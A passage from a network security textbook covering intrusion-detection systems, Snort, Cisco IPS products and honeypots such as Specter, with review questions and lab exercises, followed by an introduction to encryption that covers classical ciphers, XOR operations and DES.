Executable profiling enables the IDS to identify activity that might indicate an attack. Once a potential danger is identified, the method of notifying the administrator, such as by network message or e-mail, is specific to the individual IDS.

IDS COMPONENTS AND PROCESSES

Regardless of what IDS you select, they all have certain components in common. It is important to have a general understanding of these components. The following terms will familiarize you with basic components and functions in all IDSs:

- An *activity* is an element of a data source that is of interest to the operator.
- The *administrator* is the person responsible for organizational security.
- A *sensor* is the IDS component that collects data and passes it to the analyzer for analysis.
- The *analyzer* is the component or process that analyzes the data collected by the sensor.
- An *alert* is a message from the analyzer indicating that an event of interest has occurred.
- The *manager* is the part of the IDS used to manage, for example a console.
- *Notification* is the process or method by which the IDS manager makes the operator aware of an alert.
- The *operator* is the person primarily responsible for the IDS. This is often the administrator.
- An *event* is an occurrence that indicates a suspicious

activity may have occurred.

- The *data source* is the raw information that the IDS uses to detect suspicious activity.

Beyond these basic components, IDSs can be classified either based on how they respond to detected anomalies or based on how they are deployed. An active IDS, now called an IPS (intrusion prevention system), will stop any traffic deemed to be malicious. A passive IDS simply logs the activity and perhaps alerts an administrator. The problem with IPS/active IDS is the possibility of false positives. It is possible to have activity that appears to be an attack, but really is not.

You can also define IDS/IPS based on whether a single machine is monitored or an entire network segment is monitored. If it is a single machine, then it is called a HIDS (host-based intrusion-detection system) or HIPS (host-based intrusion prevention system). If it is a network segment then it is called a NIDS (network-based intrusion-detection system) or NIPS (network-based intrusion prevention system).

UNDERSTANDING AND IMPLEMENTING IDSS

Many vendors supply IDSs, and each of these systems has its own strengths and weaknesses. Deciding which system is best for a particular environment depends on many factors, including the network environment, security level required, budget constraints, and the skill level of the person who will be working directly with the IDS. This section discusses the most common IDSs.

Snort

Snort is perhaps the most well-known open source IDS available. It is a software implementation installed on a server to monitor incoming traffic. It typically works with a host-based firewall in a system in which both the firewall software and Snort run on the same machine. Snort is available for Unix, Linux, Free BSD, and Windows. The software is free to download, and documentation is available at the website: www.snort.org.

FYI: What Is Open Source?

Open source is a way of licensing software. It means

that the software is freely distributable and contains the source code. This means that users can make copies, give them to friends, and even get a copy of the source code. Users can even modify the source code and then release their own version (though that release must also be open source).

The idea behind open source is to encourage users to examine the source code for a product and, if possible, to improve it. The belief is that through review and improvements by so many people, a product will reach a higher level of quality faster than commercial ones. There are a number of products available via open source licenses besides Snort, including products such as Open Office (www.openoffice.org), Linux (a), and Gimp (www.gimp.org).

More details about open source software are available at <https://opensource.org>.

Snort works in one of three modes: sniffer, packet logger, and network intrusion-detection.

Sniffer

In packet sniffer mode, the console (shell or command prompt) displays a continuous stream of the contents of all packets coming across that machine. This can be a very useful tool for a network administrator. Finding out what traffic is traversing a network can be the best way to determine where potential problems lie. It is also a good way to check whether transmissions are encrypted.

Packet Logger

Packet logger mode is similar to sniffer mode. The difference is that the packet contents are written to a text file log rather than displayed in the console. This can be more useful for administrators who are scanning a large number of packets for specific items. Once the data is in a text file, users can scan for specific information using a word processor's search capability.

Network Intrusion-Detection

In network intrusion-detection mode, Snort uses a heuristic approach to detecting anomalous traffic. This means it is rules-based and it learns from experience. A set of rules initially governs a process. Over time Snort combines what it finds with the settings to optimize performance. It then logs that traffic and can alert the network administrator. This mode requires the most configuration because the user can determine the rules she wishes to implement for the scanning of packets.

Snort works primarily from the command line (Shell in Unix/Linux, command prompt in Windows). Configuring Snort is mostly a matter of knowing the correct commands to enter and understanding their output. Anyone with even moderate experience with either Linux shell commands or DOS commands can quickly master the Snort configuration commands. Perhaps Snort's greatest advantage is its price: It is a free download. For any organization to not be using some IDS is inexcusable when a free product is available. Snort is a good tool when used in conjunction with host-based firewalls or as an IDS on each server to provide additional security.

Cisco Intrusion-Detection and Prevention

The Cisco brand is widely recognized and well respected in the networking profession. Along with their firewalls and routers, Cisco has several models of intrusion detection, each with a different focus/purpose. In the past, Cisco had two specific, widely used IDS products, the Cisco IDS 4200 Series Sensors and Cisco Catalyst 6500 Series Intrusion-Detection System (IDSM-2) Services Module. Information about all Cisco IDS solutions is available at

<https://www.cisco.com/c/en/us/support/security/intrusion-prevention-system/tsd-products-support-series-home.html>. However, now the product being sold is the Cisco Next-Generation IPS solution: <https://www.cisco.com/c/en/us/products/security/ngips/index.html>.

There are a number of products in this group, notably the Firepower 4100 series, the Firepower 8000 series, and the Firepower 9000 series. All the products include malware protection as well as sandboxing. These Cisco products also integrate cyber threat intelligence features. The Firepower 4100 is shown in [Figure 5-1](#).



FIGURE 5-1 Cisco Firepower 4100

The 4100 series is meant for smaller networks. The 9000 series is designed for large-scale networks. You can see the Firepower 9000 series in [Figure 5-2](#).



FIGURE 5-2 The Cisco Firepower 9000

One of the chief benefits of using Cisco security products is their widespread use across the industry and the availability of good training. The fact that so many organizations use Cisco indicates a high level of successful field testing, which generally indicates a reliable product. Cisco also sponsors a range of certifications on its products, making it easier to determine whether someone is qualified on a particular

Cisco product.

UNDERSTANDING AND IMPLEMENTING HONEYPOTS

A honeypot is a single machine set up to simulate a valuable server or even an entire subnetwork. The idea is to make the honeypot so attractive that if a hacker breaches the network's security, she or he will be attracted to the honeypot rather than to the real system. Software can closely monitor everything that happens on that system, enabling tracking and perhaps identification of the intruder.

The underlying premise of the honeypot is that any traffic to the honeypot machine is considered suspicious. Because the honeypot is not a real machine, no legitimate users should have a reason to connect to it. Therefore, anyone attempting to connect to that machine can be considered a possible intruder. The honeypot system can entice him to stay connected long enough to trace where he is connecting from. Figure 5-3 illustrates the honeypot concept.




FIGURE 5-3 Honeypots

Specter

Specter is a software honeypot solution. Complete product information is available at www.specter.com. The Specter honeypot is comprised of a dedicated PC with the Specter software running on it. The Specter software can emulate the major Internet protocols/services such as HTTP, FTP, POP3, SMTP, and others, thus appearing to be a fully functioning server. The software was designed to run on Windows 2000 or XP but will execute on later versions of Windows, but it can simulate AIX, Solaris, Unix, Linux, Mac, and Mac OS X. [Figure 5-4](#) shows the primary configuration window for Specter.




FIGURE 5-4 The Specter configuration window

Specter works by appearing to run a number of services common to network servers. In fact, in addition to simulating multiple operating systems, it can also simulate the following services:

- SMTP
- FTP
- TELNET
- FINGER
- POP3

- IMAP4
- HTTP
- SSH
- DNS
- SUN-RPC
- NETBUS
- SUB-7
- BO2K
- GENERIC TRAP

Even though Specter appears to be running these servers, it is actually just monitoring all incoming traffic. Because it is not a real server for your network, no legitimate user should be connecting to it. Specter logs all traffic to the server for analysis. Users can set it up in one of five modes:

- **Open:** In this mode the system behaves like a badly configured server in terms of security. The downside of this mode is that you are most likely to attract and catch the least skillful hackers.
- **Secure:** This mode has the system behaving like a secure server.
- **Failing:** This mode is interesting in that it causes

the system to behave like a server with various hardware and software problems. This might attract some hackers because such a system is likely to be vulnerable.

- **Strange:** In this mode the system behaves in unpredictable ways. This sort of behavior is likely to attract the attention of a more talented hacker and perhaps cause her to stay online longer trying to figure out what is going on. The longer the hacker stays connected, the better the chance of tracing her.

- **Aggressive:** This mode causes the system to actively try and trace back the intruder and derive his identity. This mode is most useful for catching the intruder.

In all modes, Specter logs the activity, including all information it can derive from the incoming packets. It also attempts to leave traces on the attacker's machine, which can provide clear evidence should civil or criminal action later be required.

Users can also configure a fake password file in all modes. These are particularly useful because most hackers attempt to access a password file to crack the passwords. If they are successful they can then log on as a legitimate user. The holy grail of hacking is getting the

administrator's password. There are multiple ways to configure this fake password file:

- **Easy:** In this mode the passwords are easy to crack, leading a would-be intruder to believe that she has actually found legitimate passwords and usernames. Often a hacker with a legitimate logon will be less careful covering her tracks. If you know that logon is fake and the system is set up to monitor it, you can track it back to the hacker.
- **Normal:** This mode has slightly more difficult passwords than the easy mode.
- **Hard:** This mode has even harder passwords to crack. There is even a tougher version of this mode called mean, in which the passwords are very difficult to break so that the hacker can be traced while he is taking time to crack the passwords.
- **Fun:** This mode uses famous names as usernames. In my opinion this one, and the related one named Cheswick, have dubious security value.
- **Warning:** In this mode the hacker gets a warning telling him he has been detected if he is able to crack the password file. The theory behind this mode is that most hackers are simply trying to see if they can crack a system and do not have a specific objective. Letting this sort of hacker know he has

been detected is often enough to scare him off.

The cost of this software system is about \$900, and it requires a PC to install it on. The purpose of honeypots like Specter is not preventing intrusion. Instead, they minimize the damage once someone is in. They serve to direct the hacker's attention away from critical systems. They also can be very helpful in tracking down hackers.

Symantec Decoy Server

Because Symantec is such a prominent vendor for both antivirus software and firewall solutions, it should come as no surprise that it also has a honeypot solution. The first Symantec honeypot product was Decoy Server. It simulated being a real server by simulating many server functions, such as incoming and outgoing e-mail traffic. You can learn full details about this product from Symantec; however, their product line and web page changes frequently. The best way to find out about their honeypots is to just go to Symantec's main site and perform a search.

As the Decoy Server works as a honeypot, it also works as an IDS monitoring the network for signs of intrusion. If an attack is detected, all traffic related to that attack is recorded for use later in whatever investigative, criminal, or civil procedures that may arise.

Decoy Server is designed to be part of a suite of enterprise security solutions that work together, including enterprise versions of Symantec's antivirus software, firewall software, and antispymware. The product is usually purchased as part of a volume licensing agreement for a complete security package.

Intrusion Deflection

Intrusion deflection is becoming increasingly popular among security-conscious administrators. The essence of it is quite simple. An attempt is made to attract the intruder to a subsystem set up for the purpose of observing him. This is done by tricking the intruder into believing that he has succeeded in accessing system resources when, in fact, he has been directed to a specially designed environment. Being able to observe the intruder while he practices his art will yield valuable clues and can lead to his arrest.

This is often done by using what is commonly referred to as a honeypot. Essentially, you set up a fake system, possibly a server that appears to be an entire subnet. The administrator makes that system look attractive to hackers, perhaps making it appear to have sensitive data, such as personnel files, or valuable data, such as account numbers or research. The actual data stored in this system is fake. The real purpose of the system is to

carefully monitor the activities of any person who accesses the system. Because no legitimate user ever accesses this system, it is a given that anyone accessing it is an intruder.

This sort of system can be difficult to set up and maintain. It also presupposes that someone is able to successfully compromise security. Intrusion deflection systems are typically only employed at sites requiring very high security. They should only be a part of the overall IDS strategy—not the entire strategy.

Intrusion Deterrence

Intrusion deterrence involves simply trying to make the system seem like a less palatable target. In short, an attempt is made to make any potential reward from a successful intrusion attempt appear more difficult than it is worth. This approach includes tactics such as attempting to reduce the apparent value of the current system's worth through camouflage. This essentially means working to hide the most valuable aspects of the system. The other tactic in this methodology involves raising the perceived risk of a potential intruder being caught. This can be done in a variety of ways, including conspicuously displaying warnings and warning of active monitoring. The perception of the security of a system can be drastically improved, even when the actual system security has not been improved.

Because this approach costs almost nothing to implement and is relatively easy to set up, it is a good option for any system when used in conjunction with other strategies.

To implement this strategy, warn the user at every step in the process of connecting that her activities are being closely monitored, whether they are or are not. In addition, avoid advertising that the system or machine contains sensitive data by giving it an innocuous name.

For example, a database server that contains research material might be named “print_server 1” rather than “research_server” to make it less attractive. When using this type of naming approach, maintaining a master list and developing a naming scheme is important. For example, all real print servers might end with X and all false print server names end in Y so that staff know that “print_server1x” is a real print server and “print_server1y” is actually a sensitive server being hidden from intruders. Some way must exist for keeping track of the real purpose of the servers.

The purpose of the multiple warnings is to scare off less skilled hackers. Although such people might not have a great deal of technical prowess, their attempts to invade a system are a nuisance and can cause problems. Many of these attackers are new to hacking and appropriate warnings can scare off a significant percentage of them.

SUMMARY

A variety of IDSs are available. Some are designed to run on the perimeter with the perimeter firewall, often in a host-based configuration. Others are designed to be sensors throughout your network or are a router-type appliance. Honeypots entice hackers to explore phantom servers with the goal of keeping them long enough to identify them.

A complete IDS solution should have a perimeter IDS working in conjunction with a perimeter firewall. The most complete IDS solution includes multiple sensors for each subnet. Ideally, an administrator places some IDS on each major server and implements a honeypot solution.

Clearly, such a level of expenditure and complexity is not possible in all circumstances. This level certainly provides the greatest security, but many organizations do not require, nor can they afford, this level of security. At a minimum, an organization should have an IDS running with the perimeter firewall. Because free IDS solutions are available, there is no reason not to have one.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. IDS is an acronym for:
 - A. Intrusion-detection system
 - B. Intrusion-deterrence system
 - C. Intrusion-deterrence service
 - D. Intrusion-detection service

- 2.** A series of ICMP packets sent to your ports in sequence might indicate what?
 - A.** A DoS attack
 - B.** A ping flood
 - C.** A packet sniffer
 - D.** A port scan
- 3.** What is another term for preemptive blocking?
 - A.** Intrusion deflection
 - B.** Banishment vigilance
 - C.** User deflection
 - D.** Intruder blocking
- 4.** Attempting to attract intruders to a system set up to monitor them is called what?
 - A.** Intrusion deterrence
 - B.** Intrusion deflection
 - C.** Intrusion banishment
 - D.** Intrusion routing
- 5.** A system that is set up for attracting and monitoring intruders is called what?
 - A.** Fly paper
 - B.** Trap door
 - C.** Honeypot

- D. Hacker cage**
- 6.** Attempting to make your system appear less appealing is referred to as what?
- A.** Intrusion deterrence
 - B.** Intrusion deflection
 - C.** System camouflage
 - D.** System deterrence
- 7.** Which of the following is not a profiling strategy used in anomaly detection?
- A.** Threshold monitoring
 - B.** Resource profiling
 - C.** Executable profiling
 - D.** System monitoring
- 8.** Setting up parameters for acceptable use, such as the number of login attempts, and watching to see if those levels are exceeded is referred to as what?
- A.** Threshold monitoring
 - B.** Resource profiling
 - C.** System monitoring
 - D.** Executable profiling
- 9.** Which of the following is a problem with the approach described in Question 8?

- A.** It is difficult to configure.
 - B.** It misses many attacks.
 - C.** It yields many false positives.
 - D.** It is resource intensive.
- 10.** A profiling technique that monitors how applications use resources is called what?
- A.** System monitoring
 - B.** Resource profiling
 - C.** Application monitoring
 - D.** Executable profiling
- 11.** Snort is which type of IDS?
- A.** Router-based
 - B.** OS-based
 - C.** Host-based
 - D.** Client-based
- 12.** Which of the following is not one of Snort's modes?
- A.** Sniffer
 - B.** Packet logger
 - C.** Network intrusion-detection
 - D.** Packet filtering

- 13.** Which type of IDS is the Cisco Sensor?
- A.** Anomaly detection
 - B.** Intrusion deflection
 - C.** Intrusion deterrence
 - D.** Anomaly deterrence
- 14.** Why might you run Specter in strange mode?
- A.** It may confuse hackers and deter them from your systems.
 - B.** It will be difficult to determine the system is a honeypot.
 - C.** It might fascinate hackers and keep them online long enough to catch them.
 - D.** It will deter novice hackers.

EXERCISES

EXERCISE 5.1: Using Snort

Note: This is a longer exercise appropriate for groups. Refer to the chapter text for an explanation of the Snort product and features.

- 1.** Go to the Snort.org website (www.snort.org).
- 2.** Download Snort.

3. Using the vendor documentation or other resources, configure Snort as a packet sniffer. Use that resource to observe traffic on your network.
4. Compile statistics about your network's normal traffic. These statistics include mean packets per minute, top five destination IP addresses, top ten source IP addresses, etc.

EXERCISE 5.2: Using Snort as an IDS

1. Using the Snort installation from Exercise 5.1, configure Snort to do network intrusion detection.
2. Set up rules for alerts by Snort.

EXERCISE 5.3: Open Source Honeypots

Note: This exercise requires you to use an open source honeypot. One such free solution can be found at www.projecthoneypot.org, but feel free to use any solution you like. In fact, if possible, it is best to test out multiple solutions in order to compare results.

1. Install the honeypot on a lab machine.
2. Configure it according to the vendor documentation.
3. Have one student pose as a hacker attacking the honeypot.

4. The other student(s) should use the honeypot to detect that intrusion.

EXERCISE 5.4: Recommend an IDS

1. Assume you are working for a small organization that has a moderate security budget.
2. Select a particular IDS solution you would recommend for that organization.
3. Write your recommendations, including your reasons, in a memo format as if submitting them to a CIO or other decision maker.

PROJECTS

PROJECT 5.1: IDS Strategy

Using websites and vendor documentation, create a document that outlines a complete IDS plan for a network. Plan your entire IDS strategy assuming a budget of \$2,000.

PROJECT 5.2: Firewall-Based IDS

Using web resources, books, or other resources as well as your own opinions, determine whether you think a firewall-based IDS or a separate IDS is a better solution. Write a memo (as if you were submitting it to a CIO or

other decision maker) explaining your position, including your reasons for coming to this conclusion.

PROJECT 5.3: How to Improve Honeypots

By now you should have a good understanding of how honeypots work, and you should have actually used at least one honeypot. But like all security technology, honeypots are evolving. Describe, in detail, at least two improvements you would like to see in honeypot technology. This could include features not currently available, improved detection, or more aggressive responses. The following sites describe current honeypot technology and might be of use to you.

- www.projecthoneypot.org/
- <https://www.sans.edu/cyber-research/security-laboratory/article/honeypots-guide>
- <https://www.computerworld.com/article/2573345/security0/honeypot-the-sweet-spot-in-network-security.html>

Chapter 6

Encryption Fundamentals

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Explain encryption concepts.
- Describe the history of encryption and modern encryption methods.
- Use some simple decryption techniques.

INTRODUCTION

Encryption is a vital part of any network security strategy. No matter how secure the network is, if the data is not encrypted at rest or during transmission, then that data is vulnerable. Even most basic wireless routers for home users now offer encryption.

This chapter offers a basic overview of encryption and an explanation of how it works to help you make good decisions for your organization. A complete examination is beyond the scope of this book, but this chapter provides a “manager’s understanding” of cryptography to help you ask the right questions about your organization’s encryption needs.

THE HISTORY OF ENCRYPTION

Encrypting communications is a very old idea. People have found the need to send private communications for most of the history of civilization. The need for privacy originally arose from military and political needs, but has expanded beyond that. Businesses need to keep data private to maintain a competitive edge. People want to keep certain information, such as their medical records and financial records, private.

For much of human history private communications meant encrypting written communiqués. Over the past century that has expanded to radio transmission, telephone communications, and computer/Internet communications. In the past several decades the encryption of computerized transmissions has actually become commonplace. In fact you can find computer/Internet communications encrypted more often than phone or radio. The digital environment

makes implementing a particular type of encryption much easier.

Whatever the nature of the data you are encrypting, or the mode of transmitting the data, the basic concept is actually quite simple. Messages must be changed in such a way that they cannot be read easily by any party that intercepts them but can be decoded easily by the intended recipient. In this section you will examine a few historical methods of encryption. Note that these are very old methods, and they cannot be used for secure communication today. An amateur could easily crack the methods discussed in this section. However, they are wonderful examples for conveying the concept of encryption without having to incorporate a great deal of math, which is required of the more complex encryption methods.

FYI: False Claims About Encryption

As you will see in this chapter, the basic concepts of encryption are very simple. Anyone with even rudimentary programming skills can write a program that implements one of the simple encryption methods examined here. However, these methods are not secure and are included only to illustrate fundamental encryption concepts.


From time to time someone new to encryption discovers these basic methods, and in his enthusiasm attempts to create his own encryption method by making some minor modifications. Although this can be a stimulating intellectual exercise, it is only that. Users without training in advanced math or cryptography are extremely unlikely to stumble across a new encryption method that is effective for secure communications.

Amateurs frequently post claims that they have discovered the latest, unbreakable encryption algorithm on the Usenet newsgroup sci.crypt (if you are not familiar with Usenet, those groups are now accessible via the Groups link on www.google.com). Their algorithms are usually quickly broken. Unfortunately, some people implement such a method into a software product and market it as secure.

Some distributors of insecure encryption methods and software do so out of simple greed and are intentionally defrauding an unsuspecting public. Others do so out of simple ignorance, honestly believing that their method is superior. Methods for evaluating encryption claims are discussed later in this chapter.

The Caesar Cipher

One of the oldest recorded encryption methods is the Caesar cipher. This name is based on a claim that this method was used by ancient Roman emperors. This method is simple to implement, requiring no technological assistance. You choose some number by which to shift each letter of a text. For example, if the text is



A cat

and you choose to shift by two letters, then the message becomes



C ecv

Or, if you choose to shift by three letters, it becomes



D fdw

In this example, you can choose any shifting pattern you want. You can shift either to the right or left by any number of spaces you like. Because this is a simple method to understand, it makes a good place to start your study of encryption. It is, however, extremely easy

to crack. You see, any language has a certain letter and word frequency, meaning that some letters are used more frequently than others. In the English language, the most common single-letter word is *a*. The most common three-letter word is *the*. Knowing these two characteristics alone could help you decrypt a Caesar cipher. For example, if you saw a string of seemingly nonsense letters and noticed that a three-letter word was frequently repeated in the message, you might easily surmise that this word was *the*—and the odds are highly in favor of this being correct.

Furthermore, if you frequently noticed a single-letter word in the text, it is most likely the letter *a*. You now have found the substitution scheme for *a*, *t*, *h*, and *e*. You can now either translate all of those letters in the message and attempt to surmise the rest or simply analyze the substitute letters used for *a*, *t*, *h*, and *e* and derive the substitution cipher that was used for this message. Decrypting a message of this type does not even require a computer. Someone with no background in cryptography could do it in less than ten minutes using pen and paper.

Caesar ciphers belong to a class of encryption algorithms known as substitution ciphers. The name derives from the fact that each character in the unencrypted message is substituted by one character in

the encrypted text. The particular substitution scheme used (for example, 12 or 11) in a Caesar cipher is called a substitution alphabet (that is, *b* substitutes for *a*, *u* substitutes for *t*, etc.). Because one letter always substitutes for one other letter, the Caesar cipher is sometimes called a mono-alphabet substitution method, meaning that it uses a single substitution for the encryption.

The Caesar cipher, like all historical ciphers, is simply too weak for modern use. It is presented here just to help you understand the concepts of cryptography.

ROT 13

ROT 13 is another single alphabet substitution cipher. All characters are rotated 13 characters through the alphabet.

The phrase

A CAT

<

>

becomes

N PNG

<

>

ROT 13 is a single-substitution cipher.

Atbash Cipher

Hebrew scribes copying the book of Jeremiah used the Atbash cipher. Using it is simple; you just reverse the alphabet. This is, by modern standards, a primitive and easy-to-break cipher. However, it will help you get a feel for how cryptography works.

The Atbash cipher is a Hebrew code that substitutes the first letter of the alphabet for the last and the second letter for the second to the last, etc. It simply reverses the alphabet; for example, *A* becomes *Z*, *B* becomes *Y*, *C* becomes *X*, etc.

This, like the Caesar and ROT 13 ciphers, is also a single-substitution cipher.

Multi-Alphabet Substitution

Eventually, a slight improvement on the Caesar cipher was developed, called multi-alphabet substitution (also called polyalphabetic substitution). In this scheme, you select multiple numbers by which to shift letters (that is, multiple substitution alphabets). For example, if you select three substitution alphabets (12, 22, 13), then

A CAT

becomes

C ADV

Notice that the fourth letter starts over with another 12, and you can see that the first *A* was transformed to *C* and the second *A* was transformed to *D*. This makes deciphering the underlying text more difficult. Although this is harder to decrypt than a Caesar cipher, it is not overly difficult to decode. It can be done with simple pen and paper and a bit of effort. It can be cracked quickly with a computer. In fact, no one would use such a method today to send any truly secure message, for this type of encryption is considered very weak.

One of the most widely known multi-alphabet ciphers was the Vigenère cipher. This topic is discussed in detail later in this chapter. This cipher was invented in 1553 by Giovan Battista Bellaso. It is a method of encrypting alphabetic text by using a series of different mono-alphabet ciphers selected based on the letters of a keyword. This algorithm was later misattributed to Blaise de Vigenère, and so it is now known as the “Vigenère cipher,” even though Vigenère did not really invent it.

Multi-alphabet ciphers are more secure than single-substitution ciphers. However, they are still not acceptable for modern cryptographic usage. Computer-based cryptanalysis systems can crack historical cryptographic methods (both single alphabet and multi-alphabet) easily. The single-substitution and multi-substitution alphabet ciphers are discussed just to show you the history of cryptography, and to help you get an understanding of how cryptography works.

Rail Fence

All the preceding ciphers we examined are substitution ciphers. Another approach to classic cryptography is the transposition cipher. The *rail fence* cipher may be the most widely known transposition cipher. You simply take the message you wish to encrypt and alter each letter on a different row. So “attack at dawn” is written as

```
A   t   c   a   d   w
    t   a   k   t   a   n
```

Next, you write down the text reading from left to right as one normally would, thus producing

```
atcadwtaktan
```

In order to decrypt the message, the recipient must

write it out on rows:

A t c a d w
t a k t a n

Then the recipient reconstructs the original message. Most texts use two rows as examples; however, this can be done with any number of rows you wish to use.

Vigenère

As we previously discussed, a polyalphabetic cipher uses multiple substitutions in order to disrupt letter and word frequency. Let us consider a simple example. Remember a Caesar cipher has a shift, for example a shift of +2 (two to the right). A polyalphabetic substitution cipher would use multiple shifts. Perhaps a +2, -1, +1, +3. When you get to the fifth letter, you simply start over again. So, consider the word Attack, being encrypted

$$A (1) + 2 = 3 \text{ or } C$$

$$T (20) - 1 = 19 \text{ or } S$$

$$T (20) + 1 = 21 \text{ or } U$$

$$A (1) + 3 = 4 \text{ or } D$$

$$C (3) + 2 = 5 \text{ or } E$$

$$K (11) - 1 = 10 \text{ or } J$$

So, the ciphertext is CSUDEJ. Given that each letter has four possible substitutions, the letter and word frequency is significantly disrupted.

Perhaps the most widely known polyalphabetic cipher is the Vigenère cipher. This cipher was actually invented in 1553 by Giovan Battista Bellaso, though it is named after Blaise de Vigenère. It is a method of encrypting alphabetic text by using a series of different mono-alphabet ciphers selected based on the letters of a keyword. Bellaso added the concept of using any keyword one might wish, thereby making the choice of substitution alphabets difficult to calculate.

Enigma

It is really impossible to have a discussion about cryptography and not talk about Enigma. Contrary to popular misconceptions, the Enigma is not a single machine but rather a family of machines. The first version was invented by German engineer Arthur Scherbius near the end of World War I. It was used by several different militaries, not just the Nazi Germans.

Some military texts encrypted using a version of Enigma were broken by Polish cryptanalysts Marian Rejewski, Jerzy Rozycki, and Henryk Zygalski. The three basically

reverse engineered a working Enigma machine and used that information to develop tools for breaking Enigma ciphers, including one tool named the cryptologic bomb.

The core of the Enigma machine was the rotors, or disks, that were arranged in a circle with 26 letters on them. The rotors were lined up. Essentially, each rotor represented a different single substitution cipher. You can think of the Enigma as a sort of mechanical polyalphabetic cipher. The operator of the Enigma machine would be given a message in plaintext and then type that message into Enigma. For each letter that was typed in, Enigma would provide a different ciphertext based on a different substitution alphabet. The recipient would type in the ciphertext, getting out the plaintext, provided both Enigma machines had the same rotor settings.

There were actually several variations of the Enigma machine. The Naval Enigma machine was eventually cracked by British cryptographers working at the now famous Bletchley Park. Alan Turing and a team of analysts were able to eventually break the Naval Enigma machine. Many historians claim this shortened World War II by as much as two years. This story is the basis for the 2014 movie *The Imitation Game*.

Binary Operations

Part of modern symmetric cryptography ciphers involves using binary operations. Various operations on binary numbers (numbers made of only zeroes and ones) are well known to programmers and programming students. But for those readers not familiar with them, a brief explanation follows. When working with binary numbers, three operations are not found in normal math: AND, OR, and XOR operations. Each is illustrated next.

AND

To perform the AND operation, you take two binary numbers and compare them one place at a time. If both numbers have a one in both places, then the resultant number is a one. If not, then the resultant number is a zero, as you see here:

```
1 1 0 1
1 0 0 1
-----
1 0 0 1
```


OR

The OR operation checks to see whether there is a one in either or both numbers in a given place. If so, then the resultant number is one. If not, the resultant number is zero, as you see here:

```
1 1 0 1
1 0 0 1
-----
1 1 0 1
```

XOR

The XOR operation impacts your study of encryption the most. It checks to see whether there is a one in a number in a given place, but not in both numbers at that place. If it is in one number but not the other, then the resultant number is one. If not, the resultant number is zero, as you see here:

```
1 1 0 1
1 0 0 1
-----
0 1 0 0
```

XORing has a an interesting property in that it is reversible. If you XOR the resultant number with the second number, you get back the first number. And, if

you XOR the resultant number with the first number, you get the second number.

```
0 1 0 0
1 0 0 1
-----
1 1 0 1
```

Binary encryption using the XOR operation opens the door for some rather simple encryption. Take any message and convert it to binary numbers and then XOR that with some key. Converting a message to a binary number is a simple two-step process. First, convert a message to its ASCII code, and then convert those codes to binary numbers. Each letter/number will generate an eight-bit binary number. You can then use a random string of binary numbers of any given length as the key. Simply XOR your message with the key to get the encrypted text, and then XOR it with the key again to retrieve the original message.

This method is easy to use and great for computer science students; however, it does not work well for truly secure communications because the underlying letter and word frequency remains. This exposes valuable clues that even an amateur cryptographer can use to decrypt the message. Yet, it does provide a valuable introduction to the concept of single-key

encryption, which is discussed in more detail in the next section. Although simply XORing the text is not the method typically employed, single-key encryption methods are widely used today. For example, you could simply include a multi-alphabet substitution that was then XORed with some random bit stream—variations of which do exist in a few actual encryption methods currently used.

Modern cryptography methods, as well as computers, make decryption a rather advanced science. Therefore, encryption must be equally sophisticated in order to have a chance of success.

What you have seen so far regarding encryption is simply for educational purposes. As has been noted several times, you would not have a truly secure system if you implemented any of the previously mentioned encryption schemes. You might feel that this has been overstated in this text. However, having an accurate view of what encryption methods do and do not work is critical. It is now time to discuss a few methods that are actually in use today.

The following websites offer more information about cryptography:

- Cryptography I course on Coursera:

- <https://www.coursera.org/course/crypto>

- Applied cryptography course on Udacity:
<https://www.udacity.com/course/applied-cryptography--cs387>
- Cypher Research Laboratories:
www.cypher.com.au/crypto_history.htm

Understanding the simple methods described here and other methods provided by the aforementioned websites should give you a sense of how cryptography works as well as what is involved in encrypting a message. Regardless of whether you go on to study modern, sophisticated encryption methods, having some basic idea of how encryption works at a conceptual level is important. Having a basic grasp of how encryption works, in principle, will make you better able to understand the concepts of any encryption method you encounter in the real world.

FYI: Careers in Cryptography

Some readers might be interested in a career in cryptography. Basic knowledge of cryptography is enough to be a security administrator, but not enough to be a cryptographer. A strong mathematics background is essential for in-depth exploration of cryptography, particularly when pursuing a career in this field. An adequate background includes a

minimum of the complete calculus sequence (through differential equations), statistics through basic probability theory, abstract algebra, linear algebra, and number theory. A double major in computer science and mathematics is ideal. A minimum of a minor in mathematics is required, and familiarity with existing encryption methods is critical.

LEARNING ABOUT MODERN ENCRYPTION METHODS

Not surprisingly, modern methods of encryption are more secure than the historical methods just discussed. All the methods discussed in this section are in use today and are considered reasonably secure. Note that DES is an exception, but only due to its short key length.

In some cases the algorithm behind these methods requires a sophisticated understanding of mathematics. Number theory often forms the basis for encryption algorithms. Fortunately for our purposes having the exact details of these encryption algorithms is not important; this means that you don't require a strong mathematics background to follow this material. More important is a general understanding of how a particular

encryption method works and how secure it is.

Symmetric Encryption

Symmetric encryption refers to those methods where the same key is used to encrypt and decrypt the plaintext.

Data Encryption Standard

Data Encryption Standard, or DES as it is often called, was developed by IBM in the early 1970s and made public in 1976. DES uses a symmetric key system. Recall from our earlier discussion that this means the same key is used to encrypt and to decrypt the message. DES uses short keys and relies on complex procedures to protect its information. The actual DES algorithm is quite complex. The basic concept, however, is as follows:

- 1.** The data is divided into 64-bit blocks, and those blocks are then transposed.
- 2.** Transposed data is then manipulated by 16 separate rounds of encryption, involving substitutions, bit-shifting, and logical operations using a 56-bit key.
- 3.** Finally, the data is transposed one last time.

More information about DES is available at the Federal

Information Processing Standards website at <https://csrc.nist.gov/csrc/media/publications/fips/46/3/archive/1999-10-25/documents/fips46-3.pdf>. A more detailed description of DES is given below, but you can skip this if you wish.

DES uses a 56-bit cipher key applied to a 64-bit block. There is actually a 64-bit key, but one bit of every byte is actually used for error detection, leaving just 56 bits for actual key operations.

DES is a Feistel cipher with 16 rounds and a 48-bit round key for each round. A round key is just a sub key that is derived from the cipher key each round, according to a key schedule algorithm. DES's general functionality follows the Feistel method of dividing the 64-bit block into two halves (32 bits each; this is not an unbalanced Feistel cipher), applying the round function to one half, then XORing that output with the other half.

The first issue to address is the key schedule. How does DES generate a new sub key each round? The idea is to take the original 56-bit key and to slightly permute it each round, so that each round is applying a slightly different key, but one that is based on the original cipher key. To generate the round keys, the 56-bit key is split into two 28-bit halves and those halves are circularly shifted after each round by one or two bits.

This will provide a different sub key each round. During the round key generation portion of the algorithm (recall that this is referred to as the *key schedule*) each round, the two halves of the original cipher key (the 56 bits of key the two endpoints of encryption must exchange) are shifted a specific amount.

